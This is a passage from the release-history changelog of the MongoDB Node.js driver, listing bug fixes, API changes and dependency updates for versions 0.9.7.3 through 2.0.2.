options.\n\n2.0.2 2014-10-08\n----------------\n* Bumped mongodb-core to 1.0.2.\n* Fixed bson module dependency issue by relying on the mongodb-core one.\n* Use findOne instead of find followed by nextObject (Issue #1216, https://github.com/sergeyksv)\n\n2.0.1 2014-10-07\n----------------\n* Dependency fix\n\n2.0.0 2014-10-07\n----------------\n* First release of 2.0 driver\n\n2.0.0-alpha2 2014-10-02\n-----------------------\n* CRUD API (insertOne, insertMany, updateOne, updateMany, removeOne, removeMany, bulkWrite, findOneAndDelete, findOneAndUpdate, findOneAndReplace)\n* Cluster Management Spec compatible.\n\n2.0.0-alpha1 2014-09-08\n-----------------------\n* Insert method allows only up 1000 pr batch for legacy as well as 2.6 mode\n* Streaming behavior is 0.10.x or higher with backwards compatibility using readable-stream npm package\n* Gridfs stream only available through .stream() method due to overlapping names on Gridstore object and streams in 0.10.x and higher of node\n* remove third result on update and remove and return the whole result document instead (getting rid of the weird 3 result parameters)\n * Might break some application\n* Returns the actual mongodb-core result instead of just the number of records changed for insert/update/remove\n* MongoClient only has the connect method (no ability instantiate with Server, ReplSet or similar)\n* Removed Grid class\n* GridStore only supports w+ for metadata updates, no appending to file as it's not thread safe and can cause corruption of the data\n + seek will fail if attempt to use with w or w+\n + write will fail if attempted with w+ or r\n + w+ only works for updating metadata on a file\n* Cursor toArray and each resets and re-runs the cursor\n* FindAndModify returns whole result document instead of just value\n* Extend cursor to allow for setting all the options via methods instead of dealing with the current messed up find\n* Removed db.dereference method\n* Removed db.cursorInfo method\n* Removed db.stats method\n* Removed db.collectionNames not needed anymore as it's just a specialized case of listCollections\n* Removed db.collectionInfo removed due to not being compatible with new storage engines in 2.8 as they need to use the listCollections command due to system collections not working for namespaces.\n* Added db.listCollections to replace several methods above\n\n1.4.10 2014-09-04\n-----------------\n* Fixed BSON and Kerberos compilation issues\n* Bumped BSON to ~0.2 always installing latest BSON 0.2.x series\n* Fixed Kerberos and bumped to 0.0.4\n\n1.4.9 2014-08-26\n----------------\n* Check _bsonType for Binary (Issue #1202, https://github.com/mchapman)\n* Remove duplicate Cursor constructor (Issue #1201, https://github.com/KenPowers)\n* Added missing parameter in the documentation (Issue #1199, https://github.com/wpjunior)\n* Documented third parameter on the update callback(Issue #1196, https://github.com/gabmontes)\n* NODE-240 Operations on SSL connection hang on node 0.11.x\n* NODE-235 writeResult is not being passed on when error occurs in insert\n* NODE-229 Allow count to work with query hints\n* NODE-233 collection.save() does not support fullResult\n* NODE-244 Should parseError also emit a `disconnected` event?\n* NODE-246 Cursors are inefficiently constructed and consequently cannot be promisified.\n* NODE-248 Crash with X509 auth\n* NODE-252 Uncaught Exception in Base.__executeAllServerSpecificErrorCallbacks\n* Bumped BSON parser to 0.2.12\n\n\n1.4.8 2014-08-01\n----------------\n* NODE-205 correctly emit authenticate event\n* NODE-210 ensure no undefined connection error when checking server state\n* NODE-212 correctly inherit socketTimeoutMS from replicaset when HA process adds new servers or reconnects to existing ones\n* NODE-220 don't throw error if ensureIndex errors out in Gridstore\n* Updated bson to 0.2.11 to ensure correct toBSON behavior when returning non object in nested classes\n* Fixed test running filters\n* Wrap debug log in a call to format (Issue #1187, https://github.com/andyroyle)\n* False option values should not trigger w:1 (Issue #1186, https://github.com/jsdevel)\n* Fix aggregatestream.close(Issue #1194, https://github.com/jonathanong)\n* Fixed parsing issue for w:0 in url parser when in connection string\n* Modified collection.geoNear to support a geoJSON point or legacy coordinate pair (Issue #1198, https://github.com/mmacmillan)\n\n1.4.7 2014-06-18\n----------------\n* Make callbacks to be executed in right domain when server comes back up (Issue #1184, https://github.com/anton-kotenko)\n* Fix issue where currentOp query against mongos would fail due to mongos passing through $readPreference field to mongod (CS-X)\n\n1.4.6 2014-06-12\n----------------\n* Added better support for MongoClient IP6 parsing (Issue #1181, https://github.com/micovery)\n* Remove options check on index creation (Issue #1179, Issue #1183, https://github.com/jdesboeufs, https://github.com/rubenvereecken)\n* Added missing type check before calling optional callback function (Issue #1180)\n\n1.4.5 2014-05-21\n----------------\n* Added fullResult flag to insert/update/remove which will pass raw result document back. Document contents will vary depending on the server version the driver is talking to. No attempt is made to coerce a joint response.\n* Fix to avoid MongoClient.connect hanging during auth when secondaries building indexes pre 2.6.\n* return the destination stream in GridStore.pipe (Issue #1176, https://github.com/iamdoron)\n\n1.4.4 2014-05-13\n----------------\n* Bumped BSON version to use the NaN 1.0 package, fixed strict comparison issue for ObjectID\n* Removed leaking global variable (Issue #1174, https://github.com/dainis)\n* MongoClient respects connectTimeoutMS for initial discovery process (NODE-185)\n* Fix bug with return messages larger than 16MB but smaller than max BSON Message Size (NODE-184)\n\n1.4.3 2014-05-01\n----------------\n* Clone options for commands to avoid polluting original options passed from Mongoose (Issue #1171, https://github.com/vkarpov15)\n* Made geoNear and geoHaystackSearch only clean out allowed options from command generation (Issue #1167)\n* Fixed typo for allowDiskUse (Issue #1168, https://github.com/joaofranca)\n* A 'mapReduce' function changed 'function' to instance '\\<Object\\>' of 'Code' class (Issue #1165, https://github.com/exabugs)\n* Made findAndModify set sort only when explicitly set (Issue #1163, https://github.com/sars)\n* Rewriting a gridStore file by id should use a new filename if provided (Issue #1169, https://github.com/vsivsi)\n\n1.4.2 2014-04-15\n----------------\n* Fix for inheritance of readPreferences from MongoClient NODE-168/NODE-169\n* Merged in fix for ping strategy to avoid hitting non-pinged servers (Issue #1161, https://github.com/vaseker)\n* Merged in fix for correct debug output for connection messages (Issue #1158, https://github.com/vaseker)\n* Fixed global variable leak (Issue #1160, https://github.com/vaseker)\n\n1.4.1 2014-04-09\n----------------\n* Correctly emit joined event when primary change\n* Add _id to documents correctly when using bulk operations\n\n1.4.0 2014-04-03\n----------------\n* All node exceptions will no longer be caught if on('error') is defined\n* Added X509 auth support\n* Fix for MongoClient connection timeout issue (NODE-97)\n* Pass through error messages from parseError instead of just text (Issue #1125)\n* Close db connection on error (Issue #1128, https://github.com/benighted)\n* Fixed documentation generation\n* Added aggregation cursor for 2.6 and emulated cursor for pre 2.6 (uses stream2)\n* New Bulk API implementation using write commands for 2.6 and down converts for pre 2.6\n* Insert/Update/Remove using new write commands when available\n* Added support for new roles based API's in 2.6 for addUser/removeUser\n* Added bufferMaxEntries to start failing if the buffer hits the specified number of entries\n* Upgraded BSON parser to version 0.2.7 to work with < 0.11.10 C++ API changes\n* Support for OP_LOG_REPLAY flag (NODE-94)\n* Fixes for SSL HA ping and discovery.\n* Uses createIndexes if available for ensureIndex/createIndex\n* Added parallelCollectionScan method to collection returning CommandCursor instances for cursors\n* Made CommandCursor behave as Readable stream.\n* Only Db honors readPreference settings, removed Server.js legacy readPreference settings due to user confusion.\n* Reconnect event emitted by ReplSet/Mongos/Server after reconnect and before replaying of buffered operations.\n* GridFS buildMongoObject returns error on illegal md5 (NODE-157, https://github.com/iantocristian)\n* Default GridFS chunk size changed to (255 * 1024) bytes to optimize for collections defaulting to power of 2 sizes on 2.6.\n* Refactored commands to all go through command function ensuring consistent command execution.\n* Fixed issues where readPreferences where not correctly passed to mongos.\n* Catch error == null and make err detection more prominent (NODE-130)\n* Allow reads from arbiter for single server connection (NODE-117)\n* Handle error coming back with no documents (NODE-130)\n* Correctly use close parameter in Gridstore.write() (NODE-125)\n* Throw an error on a bulk find with no selector (NODE-129, https://github.com/vkarpov15)\n* Use a shallow copy of options in find() (NODE-124, https://github.com/vkarpov15)\n* Fix statistical strategy (NODE-158, https://github.com/vkarpov15)\n* GridFS off-by-one bug in lastChunkNumber() causes uncaught throw and data loss (Issue #1154, https://github.com/vsivsi)\n* GridStore drops passed `aliases` option, always results in `null` value in GridFS files (Issue #1152, https://github.com/vsivsi)\n* Remove superfluous connect object copying in index.js (Issue #1145, https://github.com/thomseddon)\n* Do not return false when the connection buffer is still empty (Issue #1143, https://github.com/eknkc)\n* Check ReadPreference object on ReplSet.canRead (Issue #1142, https://github.com/eknkc)\n* Fix unpack error on _executeQueryCommand (Issue #1141, https://github.com/eknkc)\n* Close db on failed connect so node can exit (Issue #1128, https://github.com/benighted)\n* Fix global leak with _write_concern (Issue #1126, https://github.com/shanejonas)\n\n1.3.19 2013-08-21\n-----------------\n* Correctly rethrowing errors after change from event emission to callbacks, compatibility with 0.10.X domains without breaking 0.8.X support.\n* Small fix to return the entire findAndModify result as the third parameter (Issue #1068)\n* No removal of \"close\" event handlers on server reconnect, emits \"reconnect\" event when reconnection happens. Reconnect Only applies for single server connections as of now as semantics for ReplSet and Mongos is not clear (Issue #1056)\n\n1.3.18 2013-08-10\n-----------------\n* Fixed issue when throwing exceptions in MongoClient.connect/Db.open (Issue #1057)\n* Fixed an issue where _events is not cleaned up correctly causing a slow steady memory leak.\n\n1.3.17 2013-08-07\n-----------------\n* Ignore return commands that have no registered callback\n* Made collection.count not use the db.command function\n* Fix throw exception on ping command (Issue #1055)\n\n1.3.16 2013-08-02\n-----------------\n* Fixes connection issue where lots of connections would happen if a server is in recovery mode during connection (Issue #1050, NODE-50, NODE-51)\n* Bug in unlink mulit filename (Issue #1054)\n\n1.3.15 2013-08-01\n-----------------\n* Memory leak issue due to node Issue #4390 where _events[id] is set to undefined instead of deleted leading to leaks in the Event Emitter over time\n\n1.3.14 2013-08-01\n-----------------\n* Fixed issue with checkKeys where it would error on X.X\n\n1.3.13 2013-07-31\n-----------------\n* Added override for checkKeys on insert/update (Warning will expose you to injection attacks) (Issue #1046)\n* BSON size checking now done pre serialization (Issue #1037)\n* Added isConnected returns false when no connection Pool exists (Issue #1043)\n* Unified command handling to ensure same handling (Issue #1041, #1042)\n* Correctly emit \"open\" and \"fullsetup\" across all Db's associated with Mongos, ReplSet or Server (Issue #1040)\n* Correctly handles bug in authentication when attempting to connect to a recovering node in a replicaset.\n* Correctly remove recovering servers from available servers in replicaset. Piggybacks on the ping command.\n* Removed findAndModify chaining to be compliant with behavior in other official drivers and to fix a known mongos issue.\n* Fixed issue with Kerberos authentication on Windows for re-authentication.\n* Fixed Mongos failover behavior to correctly throw out old servers.\n* Ensure stored queries/write ops are executed correctly after connection timeout\n* Added promoteLongs option for to allow for overriding the promotion of Longs to Numbers and return the actual Long.\n\n1.3.12 2013-07-19\n-----------------\n* Fixed issue where timeouts sometimes would behave wrongly (Issue #1032)\n* Fixed bug with callback third parameter on some commands (Issue #1033)\n* Fixed possible issue where killcursor command might leave hanging functions\n* Fixed issue where Mongos was not correctly removing dead servers from the pool of eligable servers\n* Throw error if dbName or collection name contains null character (at command level and at collection level)\n* Updated bson parser to 0.2.1 with security fix and non-promotion of Long values to javascript Numbers (once a long always a long)\n\n1.3.11 2013-07-04\n-----------------\n* Fixed errors on geoNear and geoSearch (Issue #1024, https://github.com/ebensing)\n* Add driver version to export (Issue #1021, https://github.com/aheckmann)\n* Add text to readpreference obedient commands (Issue #1019)\n* Drivers should check the query failure bit even on getmore response (Issue #1018)\n* Map reduce has incorrect expectations of 'inline' value for 'out' option (Issue #1016, https://github.com/rcotter)\n* Support SASL PLAIN authentication (Issue #1009)\n* Ability to use different Service Name on the driver for Kerberos Authentication (Issue #1008)\n* Remove unnecessary octal literal to allow the code to run in strict mode (Issue #1005, https://github.com/jamesallardice)\n* Proper handling of recovering nodes (when they go into recovery and when they return from recovery, Issue #1027)\n\n1.3.10 2013-06-17\n-----------------\n* Guard against possible undefined in server::canCheckoutWriter (Issue #992, https://github.com/willyaranda)\n* Fixed some duplicate test names (Issue #993, https://github.com/kawanet)\n* Introduced write and read concerns for GridFS (Issue #996)\n* Fixed commands not correctly respecting Collection level read preference (Issue #995, #999)\n* Fixed issue with pool size on replicaset connections (Issue #1000)\n* Execute all query commands on master switch (Issue #1002, https://github.com/fogaztuc)\n\n1.3.9 2013-06-05\n----------------\n* Fixed memory leak when findAndModify errors out on w>1 and chained callbacks not properly cleaned up.\n\n1.3.8 2013-05-31\n----------------\n* Fixed issue with socket death on windows where it emits error event instead of close event (Issue #987)\n* Emit authenticate event on db after authenticate method has finished on db instance (Issue #984)\n* Allows creation of MongoClient and do new MongoClient().connect(..). Emits open event when connection correct allowing for apps to react on event.\n\n1.3.7 2013-05-29\n----------------\n* After reconnect, tailable getMores go on inconsistent connections (Issue #981, #982, https://github.com/glasser)\n* Updated Bson to 0.1.9 to fix ARM support (Issue #985)\n\n1.3.6 2013-05-21\n----------------\n* Fixed issue where single server reconnect attempt would throw due to missing options variable (Issue #979)\n* Fixed issue where difference in ismaster server name and seed list caused connections issues, (Issue #976)\n\n1.3.5 2013-05-14\n----------------\n* Fixed issue where HA for replicaset would pick the same broken connection when attempting to ping the replicaset causing the replicaset to never recover.\n\n1.3.4 2013-05-14\n----------------\n* Fixed bug where options not correctly passed in for uri parser (Issue #973, https://github.com/supershabam)\n* Fixed bug when passing a named index hint (Issue #974)\n\n1.3.3 2013-05-09\n----------------\n* Fixed auto-reconnect issue with single server instance.\n\n1.3.2 2013-05-08\n----------------\n* Fixes for an issue where replicaset would be pronounced dead when high priority primary caused double elections.\n\n1.3.1 2013-05-06\n----------------\n* Fix for replicaset consisting of primary/secondary/arbiter with priority applied failing to reconnect properly\n* Applied auth before server instance is set as connected when single server connection\n* Throw error if array of documents passed to save method\n\n1.3.0 2013-04-25\n----------------\n* Whole High availability handling for Replicaset, Server and Mongos connections refactored to ensure better handling of failover cases.\n* Fixed issue where findAndModify would not correctly skip issuing of chained getLastError (Issue #941)\n* Fixed throw error issue on errors with findAndModify during write out operation (Issue #939, https://github.com/autopulated)\n* Gridstore.prototype.writeFile now returns gridstore object correctly (Issue #938)\n* Kerberos support is now an optional module that allows for use of GSSAPI authentication using MongoDB Subscriber edition\n* Fixed issue where cursor.toArray could blow the stack on node 0.10.X (#950)\n\n1.2.14 2013-03-14\n-----------------\n* Refactored test suite to speed up running of replicaset tests\n* Fix of async error handling when error happens in callback (Issue #909, https://github.com/medikoo)\n* Corrected a slaveOk setting issue (Issue #906, #905)\n* Fixed HA issue where ping's would not go to correct server on HA server connection failure.\n* Uses setImmediate if on 0.10 otherwise nextTick for cursor stream\n* Fixed race condition in Cursor stream (NODE-31)\n* Fixed issues related to node 0.10 and process.nextTick now correctly using setImmediate where needed on node 0.10\n* Added support for maxMessageSizeBytes if available (DRIVERS-1)\n* Added support for authSource (2.4) to MongoClient URL and db.authenticate method (DRIVER-69/NODE-34)\n* Fixed issue in GridStore seek and GridStore read to correctly work on multiple seeks (Issue #895)\n\n1.2.13 2013-02-22\n-----------------\n* Allow strategy 'none' for repliaset if no strategy wanted (will default to round robin selection of servers on a set readPreference)\n* Fixed missing MongoErrors on some cursor methods (Issue #882)\n* Correctly returning a null for the db instance on MongoClient.connect when auth fails (Issue #890)\n* Added dropTarget option support for renameCollection/rename (Issue #891, help from https://github.com/jbottigliero)\n* Fixed issue where connection using MongoClient.connect would fail if first server did not exist (Issue #885)\n\n1.2.12 2013-02-13\n-----------------\n* Added limit/skip options to Collection.count (Issue #870)\n* Added applySkipLimit option to Cursor.count (Issue #870)\n* Enabled ping strategy as default for Replicaset if none specified (Issue #876)\n* Should correctly pick nearest server for SECONDARY/SECONDARY_PREFERRED/NEAREST (Issue #878)\n\n1.2.11 2013-01-29\n-----------------\n* Added fixes for handling type 2 binary due to PHP driver (Issue #864)\n* Moved callBackStore to Base class to have single unified store (Issue #866)\n* Ping strategy now reuses sockets unless they are closed by the server to avoid overhead\n\n1.2.10 2013-01-25\n-----------------\n* Merged in SSL support for 2.4 supporting certificate validation and presenting certificates to the server.\n* Only open a new HA socket when previous one dead (Issue #859, #857)\n* Minor fixes\n\n1.2.9 2013-01-15\n----------------\n* Fixed bug in SSL support for MongoClient/Db.connect when discovering servers (Issue #849)\n* Connection string with no db specified should default to admin db (Issue #848)\n* Support port passed as string to Server class (Issue #844)\n* Removed noOpen support for MongoClient/Db.connect as auto discovery of servers for Mongod/Mongos makes it not possible (Issue #842)\n* Included toError wrapper code moved to utils.js file (Issue #839, #840)\n* Rewrote cursor handling to avoid process.nextTick using trampoline instead to avoid stack overflow, speedup about 40%\n\n1.2.8 2013-01-07\n----------------\n* Accept function in a Map Reduce scope object not only a function string (Issue #826, https://github.com/aheckmann)\n* Typo in db.authenticate caused a check (for provided connection) to return false, causing a connection AND onAll=true to be passed into __executeQueryCommand downstream (Issue #831, https://github.com/m4tty)\n* Allow gridfs objects to use non ObjectID ids (Issue #825, https://github.com/nailgun)\n* Removed the double wrap, by not passing an Error object to the wrap function (Issue #832, https://github.com/m4tty)\n* Fix connection leak (gh-827) for HA replicaset health checks (Issue #833, https://github.com/aheckmann)\n* Modified findOne to use nextObject instead of toArray avoiding a nextTick operation (Issue #836)\n* Fixes for cursor stream to avoid multiple getmore issues when one in progress (Issue #818)\n* Fixes .open replaying all backed up commands correctly if called after operations performed, (Issue #829 and #823)\n\n1.2.7 2012-12-23\n----------------\n* Rolled back batches as they hang in certain situations\n* Fixes for NODE-25, keep reading from secondaries when primary goes down\n\n1.2.6 2012-12-21\n----------------\n* domain sockets shouldn't require a port arg (Issue #815, https://github.com/aheckmann)\n* Cannot read property 'info' of null (Issue #809, https://github.com/thesmart)\n* Cursor.each should work in batches (Issue #804, https://github.com/Swatinem)\n* Cursor readPreference bug for non-supported read preferences (Issue #817)\n\n1.2.5 2012-12-12\n----------------\n* Fixed ssl regression, added more test coverage (Issue #800)\n* Added better error reporting to the Db.connect if no valid serverConfig setup found (Issue #798)\n\n1.2.4 2012-12-11\n----------------\n* Fix to ensure authentication is correctly applied across all secondaries when using MongoClient.\n\n1.2.3 2012-12-10\n----------------\n* Fix for new replicaset members correctly authenticating when being added (Issue #791, https://github.com/m4tty)\n* Fixed seek issue in gridstore when using stream (Issue #790)\n\n1.2.2 2012-12-03\n----------------\n* Fix for journal write concern not correctly being passed under some circumstances.\n* Fixed correct behavior and re-auth for servers that get stepped down (Issue #779).\n\n1.2.1 2012-11-30\n----------------\n* Fix for double callback on insert with w:0 specified (Issue #783)\n* Small cleanup of urlparser.\n\n1.2.0 2012-11-27\n----------------\n* Honor connectTimeoutMS option for replicasets (Issue #750, https://github.com/aheckmann)\n* Fix ping strategy regression (Issue #738, https://github.com/aheckmann)\n* Small cleanup of code (Issue #753, https://github.com/sokra/node-mongodb-native)\n* Fixed index declaration using objects/arrays from other contexts (Issue #755, https://github.com/sokra/node-mongodb-native)\n* Intermittent (and rare) null callback exception when using ReplicaSets (Issue #752)\n* Force correct setting of read_secondary based on the read preference (Issue #741)\n* If using read preferences with secondaries queries will not fail if primary is down (Issue #744)\n* noOpen connection for Db.connect removed as not compatible with autodetection of Mongo type\n* Mongos connection with auth not working (Issue #737)\n* Use the connect method directly from the require. require('mongodb')(\"mongodb://localhost:27017/db\")\n* new MongoClient introduced as the point of connecting to MongoDB's instead of the Db\n * open/close/db/connect methods implemented\n* Implemented common URL connection format using MongoClient.connect allowing for simialar interface across all drivers.\n* Fixed a bug with aggregation helper not properly accepting readPreference\n\n1.1.11 2012-10-10\n-----------------\n* Removed strict mode and introduced normal handling of safe at DB level.\n\n1.1.10 2012-10-08\n-----------------\n* fix Admin.serverStatus (Issue #723, https://github.com/Contra)\n* logging on connection open/close(Issue #721, https://github.com/asiletto)\n* more fixes for windows bson install (Issue #724)\n\n1.1.9 2012-10-05\n----------------\n* Updated bson to 0.1.5 to fix build problem on sunos/windows.\n\n1.1.8 2012-10-01\n----------------\n* Fixed db.eval to correctly handle system.js global javascript functions (Issue #709)\n* Cleanup of non-closing connections (Issue #706)\n* More cleanup of connections under replicaset (Issue #707, https://github.com/elbert3)\n* Set keepalive on as default, override if not needed\n* Cleanup of jsbon install to correctly build without install.js script (https://github.com/shtylman)\n* Added domain socket support new Server(\"/tmp/mongodb.sock\") style\n\n1.1.7 2012-09-10\n----------------\n* Protect against starting PingStrategy being called more than once (Issue #694, https://github.com/aheckmann)\n* Make PingStrategy interval configurable (was 1 second, relaxed to 5) (Issue #693, https://github.com/aheckmann)\n* Made PingStrategy api more consistant, callback to start/stop methods are optional (Issue #693, https://github.com/aheckmann)\n* Proper stopping of strategy on replicaset stop\n* Throw error when gridstore file is not found in read mode (Issue #702, https://github.com/jbrumwell)\n* Cursor stream resume now using nextTick to avoid duplicated records (Issue #696)\n\n1.1.6 2012-09-01\n----------------\n* Fix for readPreference NEAREST for replicasets (Issue #693, https://github.com/aheckmann)\n* Emit end correctly on stream cursor (Issue #692, https://github.com/Raynos)\n\n1.1.5 2012-08-29\n----------------\n* Fix for eval on replicaset Issue #684\n* Use helpful error msg when native parser not compiled (Issue #685, https://github.com/aheckmann)\n* Arbiter connect hotfix (Issue #681, https://github.com/fengmk2)\n* Upgraded bson parser to 0.1.2 using gyp, deprecated support for node 0.4.X\n* Added name parameter to createIndex/ensureIndex to be able to override index names larger than 128 bytes\n* Added exhaust option for find for feature completion (not recommended for normal use)\n* Added tailableRetryInterval to find for tailable cursors to allow to control getMore retry time interval\n* Fixes for read preferences when using MongoS to correctly handle no read preference set when iterating over a cursor (Issue #686)\n\n1.1.4 2012-08-12\n----------------\n* Added Mongos connection type with a fallback list for mongos proxies, supports ha (on by default) and will attempt to reconnect to failed proxies.\n* Documents can now have a toBSON method that lets the user control the serialization behavior for documents being saved.\n* Gridstore instance object now works as a readstream or writestream (thanks to code from Aaron heckmann (https://github.com/aheckmann/gridfs-stream)).\n* Fix gridfs readstream (Issue #607, https://github.com/tedeh).\n* Added disableDriverBSONSizeCheck property to Server.js for people who wish to push the inserts to the limit (Issue #609).\n* Fixed bug where collection.group keyf given as Code is processed as a regular object (Issue #608, https://github.com/rrusso2007).\n* Case mismatch between driver's ObjectID and mongo's ObjectId, allow both (Issue #618).\n* Cleanup map reduce (Issue #614, https://github.com/aheckmann).\n* Add proper error handling to gridfs (Issue #615, https://github.com/aheckmann).\n* Ensure cursor is using same connection for all operations to avoid potential jump of servers when using replicasets.\n* Date identification handled correctly in bson js parser when running in vm context.\n* Documentation updates\n* GridStore filename not set on read (Issue #621)\n* Optimizations on the C++ bson parser to fix a potential memory leak and avoid non-needed calls\n* Added support for awaitdata for tailable cursors (Issue #624)\n* Implementing read preference setting at collection and cursor level\n * collection.find().setReadPreference(Server.SECONDARY_PREFERRED)\n * db.collection(\"some\", {readPreference:Server.SECONDARY})\n* Replicaset now returns when the master is discovered on db.open and lets the rest of the connections happen asynchronous.\n * ReplSet/ReplSetServers emits \"fullsetup\" when all servers have been connected to\n* Prevent callback from executing more than once in getMore function (Issue #631, https://github.com/shankar0306)\n* Corrupt bson messages now errors out to all callbacks and closes up connections correctly, Issue #634\n* Replica set member status update when primary changes bug (Issue #635, https://github.com/alinsilvian)\n* Fixed auth to work better when multiple connections are involved.\n* Default connection pool size increased to 5 connections.\n* Fixes for the ReadStream class to work properly with 0.8 of Node.js\n* Added explain function support to aggregation helper\n* Added socketTimeoutMS and connectTimeoutMS to socket options for repl_set.js and server.js\n* Fixed addUser to correctly handle changes in 2.2 for getLastError authentication required\n* Added index to gridstore chunks on file_id (Issue #649, https://github.com/jacobbubu)\n* Fixed Always emit db events (Issue #657)\n* Close event not correctly resets DB openCalled variable to allow reconnect\n* Added open event on connection established for replicaset, mongos and server\n* Much faster BSON C++ parser thanks to Lucasfilm Singapore.\n* Refactoring of replicaset connection logic to simplify the code.\n* Add `options.connectArbiter` to decide connect arbiters or not (Issue #675)\n* Minor optimization for findAndModify when not using j,w or fsync for safe\n\n1.0.2 2012-05-15\n----------------\n* Reconnect functionality for replicaset fix for mongodb 2.0.5\n\n1.0.1 2012-05-12\n----------------\n* Passing back getLastError object as 3rd parameter on findAndModify command.\n* Fixed a bunch of performance regressions in objectId and cursor.\n* Fixed issue #600 allowing for single document delete to be passed in remove command.\n\n1.0.0 2012-04-25\n----------------\n* Fixes to handling of failover on server error\n* Only emits error messages if there are error listeners to avoid uncaught events\n* Server.isConnected using the server state variable not the connection pool state\n\n0.9.9.8 2012-04-12\n------------------\n* _id=0 is being turned into an ObjectID (Issue #551)\n* fix for error in GridStore write method (Issue #559)\n* Fix for reading a GridStore from arbitrary, non-chunk aligned offsets, added test (Issue #563, https://github.com/subroutine)\n* Modified limitRequest to allow negative limits to pass through to Mongo, added test (Issue #561)\n* Corrupt GridFS files when chunkSize < fileSize, fixed concurrency issue (Issue #555)\n* Handle dead tailable cursors (Issue #568, https://github.com/aheckmann)\n* Connection pools handles closing themselves down and clearing the state\n* Check bson size of documents against maxBsonSize and throw client error instead of server error, (Issue #553)\n* Returning update status document at the end of the callback for updates, (Issue #569)\n* Refactor use of Arguments object to gain performance (Issue #574, https://github.com/AaronAsAChimp)\n\n0.9.9.7 2012-03-16\n------------------\n* Stats not returned from map reduce with inline results (Issue #542)\n* Re-enable testing of whether or not the callback is called in the multi-chunk seek, fix small GridStore bug (Issue #543, https://github.com/pgebheim)\n* Streaming large files from GridFS causes truncation (Issue #540)\n* Make callback type checks agnostic to V8 context boundaries (Issue #545)\n* Correctly throw error if an attempt is made to execute an insert/update/remove/createIndex/ensureIndex with safe enabled and no callback\n* Db.open throws if the application attemps to call open again without calling close first\n\n0.9.9.6 2012-03-12\n------------------\n* BSON parser is externalized in it's own repository, currently using git master\n* Fixes for Replicaset connectivity issue (Issue #537)\n* Fixed issues with node 0.4.X vs 0.6.X (Issue #534)\n* Removed SimpleEmitter and replaced with standard EventEmitter\n* GridStore.seek fails to change chunks and call callback when in read mode (Issue #532)\n\n0.9.9.5 2012-03-07\n------------------\n* Merged in replSetGetStatus helper to admin class (Issue #515, https://github.com/mojodna)\n* Merged in serverStatus helper to admin class (Issue #516, https://github.com/mojodna)\n* Fixed memory leak in C++ bson parser (Issue #526)\n* Fix empty MongoError \"message\" property (Issue #530, https://github.com/aheckmann)\n* Cannot save files with the same file name to GridFS (Issue #531)\n\n0.9.9.4 2012-02-26\n------------------\n* bugfix for findAndModify: Error: corrupt bson message < 5 bytes long (Issue #519)\n\n0.9.9.3 2012-02-23\n------------------\n* document: save callback arguments are both undefined, (Issue #518)\n* Native BSON parser install error with npm, (Issue #517)\n\n0.9.9.2 2012-02-17\n------------------\n* Improved detection of Buffers using Buffer.isBuffer instead of instanceof.\n* Added wrap error around db.dropDatabase to catch all errors (Issue #512)\n* Added aggregate helper to collection, only for MongoDB >= 2.1\n\n0.9.9.1 2012-02-15\n------------------\n* Better handling of safe when using some commands such as createIndex, ensureIndex, addUser, removeUser, createCollection.\n* Mapreduce now throws error if out parameter is not specified.\n\n0.9.9 2012-02-13\n----------------\n* Added createFromTime method on ObjectID to allow for queries against _id more easily using the timestamp.\n* Db.close(true) now makes connection unusable as it's been force closed by app.\n* Fixed mapReduce and group functions to correctly send slaveOk on queries.\n* Fixes for find method to correctly work with find(query, fields, callback) (Issue #506).\n* A fix for connection error handling when using the SSL on MongoDB.\n\n0.9.8-7 2012-02-06\n------------------\n* Simplified findOne to use the find command instead of the custom code (Issue #498).\n* BSON JS parser not also checks for _bsonType variable in case BSON object is in weird scope (Issue #495).\n\n0.9.8-6 2012-02-04\n------------------\n* Removed the check for replicaset change code as it will never work with node.js.\n\n0.9.8-5 2012-02-02\n------------------\n* Added geoNear command to Collection.\n* Added geoHaystackSearch command to Collection.\n* Added indexes command to collection to retrieve the indexes on a Collection.\n* Added stats command to collection to retrieve the statistics on a Collection.\n* Added listDatabases command to admin object to allow retrieval of all available dbs.\n* Changed createCreateIndexCommand to work better with options.\n* Fixed dereference method on Db class to correctly dereference Db reference objects.\n* Moved connect object onto Db class(Db.connect) as well as keeping backward compatibility.\n* Removed writeBuffer method from gridstore, write handles switching automatically now.\n* Changed readBuffer to read on Gridstore, Gridstore now only supports Binary Buffers no Strings anymore.\n* Moved Long class to bson directory.\n\n0.9.8-4 2012-01-28\n------------------\n* Added reIndex command to collection and db level.\n* Added support for $returnKey, $maxScan, $min, $max, $showDiskLoc, $comment to cursor and find/findOne methods.\n* Added dropDups and v option to createIndex and ensureIndex.\n* Added isCapped method to Collection.\n* Added indexExists method to Collection.\n* Added findAndRemove method to Collection.\n* Fixed bug for replicaset connection when no active servers in the set.\n* Fixed bug for replicaset connections when errors occur during connection.\n* Merged in patch for BSON Number handling from Lee Salzman, did some small fixes and added test coverage.\n\n0.9.8-3 2012-01-21\n------------------\n* Workaround for issue with Object.defineProperty (Issue #484)\n* ObjectID generation with date does not set rest of fields to zero (Issue #482)\n\n0.9.8-2 2012-01-20\n------------------\n* Fixed a missing this in the ReplSetServers constructor.\n\n0.9.8-1 2012-01-17\n------------------\n* FindAndModify bug fix for duplicate errors (Issue #481)\n\n0.9.8 2012-01-17\n----------------\n* Replicasets now correctly adjusts to live changes in the replicaset configuration on the servers, reconnecting correctly.\n * Set the interval for checking for changes setting the replicaSetCheckInterval property when creating the ReplSetServers instance or on db.serverConfig.replicaSetCheckInterval. (default 1000 miliseconds)\n* Fixes formattedOrderClause in collection.js to accept a plain hash as a parameter (Issue #469) https://github.com/tedeh\n* Removed duplicate code for formattedOrderClause and moved to utils module\n* Pass in poolSize for ReplSetServers to set default poolSize for new replicaset members\n* Bug fix for BSON JS deserializer. Isolating the eval functions in separate functions to avoid V8 deoptimizations\n* Correct handling of illegal BSON messages during deserialization\n* Fixed Infinite loop when reading GridFs file with no chunks (Issue #471)\n* Correctly update existing user password when using addUser (Issue #470)\n\n0.9.7.3-5 2012-01-04\n--------------------\n* Fix for RegExp serialization for 0.4.X where typeof /regexp/ == 'function' vs in 0.6.X typeof /regexp/ == 'object'\n* Don't allow keepAlive and setNoDelay for 0.4.X as it throws errors\n\n0.9.7.3-4 2012-01-04\n--------------------\n* Chased down potential memory leak on findAndModify, Issue #467 (node.js removeAllListeners leaves the key in the _events object, node.js bug on eventlistener?, leads to extremely slow memory leak on listener object)\n* Sanity checks for GridFS performance with benchmark added\n\n0.9.7.3-3 2012-01-04\n--------------------\n* Bug fixes for performance issues going form 0.9.6.X to 0.9.7.X on linux\n* 